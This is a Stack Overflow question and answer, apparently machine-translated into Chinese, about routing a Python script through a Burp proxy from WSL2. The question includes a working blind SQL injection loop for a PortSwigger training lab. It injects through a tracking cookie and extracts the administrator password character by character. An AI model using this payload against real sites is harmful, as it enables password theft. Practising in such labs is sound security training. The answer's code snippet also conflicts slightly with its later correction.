【问题标题】:Python SQLi Scripts on WSL2 Errno 111WSL2 Errno 111 上的 Python SQLi 脚本
【发布时间】:2021-10-06 15:43:10
【问题描述】:

我正在尝试使用以下 python 脚本完成一个 portwigger 学院练习。

    proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
    def sqli_password(url):
    password_extracted = ""
    for i in range(1,21):   #Numbers of characters in the password
        for j in range(32,126):    #Iterating through the ASCII tables from 32 to 126
            sqli_payload = "' and (select ascii(substring(password,%s,1)) from users where username='administrator')='%s'--';" %(i,j)
            sqli_payload_encoded = urllib.parse.quote(sqli_payload)
            cookie = {'TrackingId':'hbORcjYUFBvjTbbq' + sqli_payload_encoded, 'session':'m6xmtbeL2CHAG8PMJjijbSZ9EqaWDwuY'}
            r = requests.get(url, cookies=cookie, verify=False)

我正在使用本地主机通过 Burp 代理请求。我收到以下错误:

(+) Retrieving administrator password...
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 159, in _new_conn
    conn = connection.create_connection(
  File "/usr/lib/python3/dist-packages/urllib3/util/connection.py", line 84, in create_connection
    raise err
  File "/usr/lib/python3/dist-packages/urllib3/util/connection.py", line 74, in create_connection
    sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 662, in urlopen
    self._prepare_proxy(conn)
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 950, in _prepare_proxy
    conn.connect()
  File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 314, in connect
    conn = self._new_conn()
  File "/usr/lib/python3/dist-packages/urllib3/connection.py", line 171, in _new_conn
    raise NewConnectionError(
urllib3.exceptions.NewConnectionError: <urllib3.connection.VerifiedHTTPSConnection object at 0x7fa9337d9e20>: Failed to establish a new connection: [Errno 111] Connection refused

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/requests/adapters.py", line 439, in send
    resp = conn.urlopen(
  File "/usr/lib/python3/dist-packages/urllib3/connectionpool.py", line 719, in urlopen
    retries = retries.increment(
  File "/usr/lib/python3/dist-packages/urllib3/util/retry.py", line 436, in increment
    raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='ac181f151f07cec480be1f2b002c00f6.web-security-academy.net', port=443): Max retries exceeded with url: / (Caused by ProxyError('Cannot connect to proxy.', NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7fa9337d9e20>: Failed to establish a new connection: [Errno 111] Connection refused')))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  ...
requests.exceptions.ProxyError: HTTPSConnectionPool(host='ac181f151f07cec480be1f2b002c00f6.web-security-academy.net', port=443): Max retries exceeded with url: / (Caused by ProxyError('Cannot connect to proxy.', NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7fa9337d9e20>: Failed to establish a new connection: [Errno 111] Connection refused')))

我尝试使用 print 来调试代码,但我注意到我无法打印请求的状态。删除代理时,脚本运行良好。我假设脚本无法通过 burp 进行代理。可能是因为我使用的是 WSL2。 Burp 安装在我的窗户上。我不知道如何解决这个问题,因为应该启用互操作性,因为我能够从 WSL 访问我的 Windows10 文件系统。我尝试使用 WSL2 从 C 驱动器中启动此代码,但它也无法正常工作。有没有办法解决这个互操作性问题?

【问题讨论】:

    标签: python proxy localhost windows-subsystem-for-linux


    【解决方案1】:

    Burp 安装在我的 Windows 上。我不知道如何解决此问题,因为应该启用互操作性,因为我能够从 WSL 访问我的 Windows 10 文件系统。

    背景

    WSL2 通过 Hyper-V 的子集在虚拟网卡上运行。此网卡在 Windows 主机后面进行了 NAT,而 WSL1 的网络更像是与 Windows 主机的网络桥接。

    所以127.0.0.1 是 WSL2 实例的 IP,不是其 Windows 主机的 IP。

    但是,如果您在 WSL1 下运行相同的代码,它可能会起作用(假设它不需要 WSL2 中存在的任何内核/设备功能)。

    WSL 的互操作功能可将 localhost 从 Windows 自动转发到 WSL2 实例,但反之则不然。

    提出的解决方案

    你需要的是以下之一:

    • 主 Windows 网络适配器的 IP
    • 如果 Windows 主机有 DNS 名称,您可以使用它
    • Windows 主机提供给 WSL2 的虚拟路由器的 IP (ip route show default)
    • WSL2 中 Windows 主机的 mDNS 名称,应解析为虚拟路由器的 IP。

    尝试将第一行替换为(未经测试,因为我没有在 Windows 主机中使用代理):

    import socket
    proxies = {'http': f'{socket.gethostname()}.local:8080', 'https': f'{socket.gethostname()}.me:8080'}
    

    假设 mDNS 正常工作,它应该动态解析为 Windows 虚拟路由器的 mDNS 主机名。如果没有,请尝试上述其他 IP 地址或名称之一。

    【讨论】:

    • 我已经尝试了建议的解决方案,但它似乎不起作用。我还尝试在主 Windows 网络适配器中启用与 vEthernet (WSL) 网络的 Internet 连接共享,这似乎是 WSL2 的虚拟根。但是我收到以下错误... (Caused by ProxyError('Cannot connect to proxy.', : Failed to establish a new connection: [Errno -3] Temporary failure in name resolution'))) 我的网络知识非常有限,我不明白如何使用例如由 Windows 主机提供的虚拟 rooter 的 IP 编写解决方案。
    • @KarimDhrif Ack,很抱歉 - 我的代码中有一个错误。 f'{socket.gethostname()}.me:8080' 应该是 f'{socket.gethostname()}.local:8080'。我已经编辑了答案。看看这是否有所作为。如果没有,请查看是否可以从 Bash 中 ping $HOSTNAME.local。这就是您最终需要的地址。
    猜你喜欢
    • 2023-03-24
    • 1970-01-01
    • 1970-01-01
    • 2020-05-14
    • 2012-07-20
    • 1970-01-01
    • 2016-08-06
    • 1970-01-01
    相关资源
    最近更新 更多